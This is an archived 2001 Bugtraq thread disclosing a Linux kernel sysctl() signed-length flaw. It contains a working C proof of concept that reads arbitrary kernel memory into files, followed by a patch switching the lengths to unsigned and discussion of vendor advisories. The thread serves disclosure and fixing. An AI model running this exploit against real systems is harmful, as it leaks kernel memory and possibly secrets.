6075169 2001-02-09 19:38 +0000  /119 rader/ Chris Evans <chris@SCARY.BEASTS.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-10  01:02  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: chris@SCARY.BEASTS.ORG
Mottagare: Bugtraq (import) <15334>
Ärende: Linux kernel sysctl() vulnerability
------------------------------------------------------------
From: Chris Evans <chris@SCARY.BEASTS.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.30.0102091259040.32418-100000@ferret.lmh.ox.ac.uk>

Hi,

OVERVIEW

There exists a Linux system call sysctl() which is used to query and
modify runtime system settings. Unprivileged users are permitted to
query the value of many of these settings.

The unprivileged user passes in a buffer location and the length of
this buffer. Unfortunately, by specifying a negative buffer length, a
user can read pretty arbitrary kernel memory.


DISCUSSION OF FLAW

Looking at linux/kernel/sysctl.c: sysctl_string()

        int l, len;
...
        if (oldval && oldlenp) {
                if(get_user(len, oldlenp))
                        return -EFAULT;
                if (len) {
                        l = strlen(table->data);
                        if (len > l) len = l;
                        if (len >= table->maxlen)
                                len = table->maxlen;
                        if(copy_to_user(oldval, table->data, len))
                                return -EFAULT;

The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value may
be used. This bypasses the "len >= table->maxlen" check and copies
kernel data to userspace, starting at "table->data".

The sysctl.c file contains several signed/unsigned mixups like the
above.


To exploit this, there are a couple of minor issues.  1)
copy_to_user() virtual address space wrap check. A check in the
kernel means we need to place the destination user space buffer low
in the virtual address space, using mmap(). The default heap location
on i386 is too high.

2) The usefulness of this exploit will vary depedending upon if the
address of the table->data pointer used is _before_ lots of
interesting kernel stuff. On ix86 Linux, this certainly seems to be
the case.

3) I have a report that the kernel may be caused to hang using this
bug.  I haven't investigated.

FIX

The recent flurry of updated kernels from vendors include a fix for
the sysctl() problem. The fix is essentially to use unsigned
variables for the lengths.


COMMENTS

As we see, integer signedness issues seem to be everywhere. Subtle
flaws like these are a great concern because they are hard to spot
and audits will miss them.

Quick hacky demo code of how you might go about playing with this, is
appended.

Cheers
Chris

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}
(6075169) --------------------------------(Ombruten)
Kommentar i text 6077058 av Florian Weimer <Florian.Weimer@RUS.UNI-STUTTGART.DE>
6077058 2001-02-10 10:28 +0100  /37 rader/ Florian Weimer <Florian.Weimer@RUS.UNI-STUTTGART.DE>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-10  20:19  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: Florian.Weimer@RUS.UNI-STUTTGART.DE
Mottagare: Bugtraq (import) <15343>
Kommentar till text 6075169 av Chris Evans <chris@SCARY.BEASTS.ORG>
Ärende: Re: Linux kernel sysctl() vulnerability
------------------------------------------------------------
From: Florian Weimer <Florian.Weimer@RUS.UNI-STUTTGART.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <tg3ddmanvi.fsf@mercury.rus.uni-stuttgart.de>

Chris Evans <chris@SCARY.BEASTS.ORG> writes:

> There exists a Linux system call sysctl() which is used to query and
> modify runtime system settings. Unprivileged users are permitted to query
> the value of many of these settings.

It appears that all current Linux kernel version (2.2.x and 2.4.x) are
vulnerable.  Right?

Was it really necessary to release this stuff just before the weekend?

The following trivial patch should fix this issue. (I wonder how you
can audit code for such vulnerabilities.  It's probably much easier to
rewrite it in Ada. ;-)

--- sysctl.c    2001/02/10 09:42:12     1.1
+++ sysctl.c    2001/02/10 09:42:26
@@ -1123,7 +1123,7 @@
                  void *oldval, size_t *oldlenp,
                  void *newval, size_t newlen, void **context)
 {
-       int l, len;
+       unsigned l, len;

        if (!table->data || !table->maxlen)
                return -ENOTDIR;

--
Florian Weimer 	                  Florian.Weimer@RUS.Uni-Stuttgart.DE
University of Stuttgart           http://cert.uni-stuttgart.de/
RUS-CERT                          +49-711-685-5973/fax +49-711-685-5898
(6077058) ------------------------------------------
6077455 2001-02-10 14:26 -0500  /45 rader/ Ryan W. Maple <ryan@GUARDIANDIGITAL.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-10  23:46  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: ryan@GUARDIANDIGITAL.COM
Mottagare: Bugtraq (import) <15344>
Kommentar till text 6077058 av Florian Weimer <Florian.Weimer@RUS.UNI-STUTTGART.DE>
Ärende: Re: Linux kernel sysctl() vulnerability
------------------------------------------------------------
From: "Ryan W. Maple" <ryan@GUARDIANDIGITAL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.10.10102101423370.2356-100000@mastermind.inside.guardiandigital.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


On Sat, 10 Feb 2001, Florian Weimer wrote:

> Chris Evans <chris@SCARY.BEASTS.ORG> writes:
>
> > There exists a Linux system call sysctl() which is used to query and
> > modify runtime system settings. Unprivileged users are permitted to query
> > the value of many of these settings.
>
> It appears that all current Linux kernel version (2.2.x and 2.4.x) are
> vulnerable.  Right?
>
> Was it really necessary to release this stuff just before the weekend?

Caldera and Immunix issued advisories on Thursday, and Red Hat issued
one early Friday.  Alan Cox said that it would be fixed in 2.2.19pre9
which was also released on Friday (IIRC).

I do agree that releasing it right before the weekend was not the
_best_ thing to do, but updates were available on Thursday.

Cheers,
Ryan

 +-- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --+
   Ryan W. Maple          "I dunno, I dream in Perl sometimes..."  -LW
   Guardian Digital, Inc.                     ryan@guardiandigital.com
 +-- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
--+
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6hZXWIwAIA9MpKWcRAg36AJ99ZmDHtY1NH2SJQBlrOHUWjzm+fACeIQFG
R9TXzt2yqzU478Jx4Z384OE=
=zZ+R
-----END PGP SIGNATURE-----
(6077455) --------------------------------(Ombruten)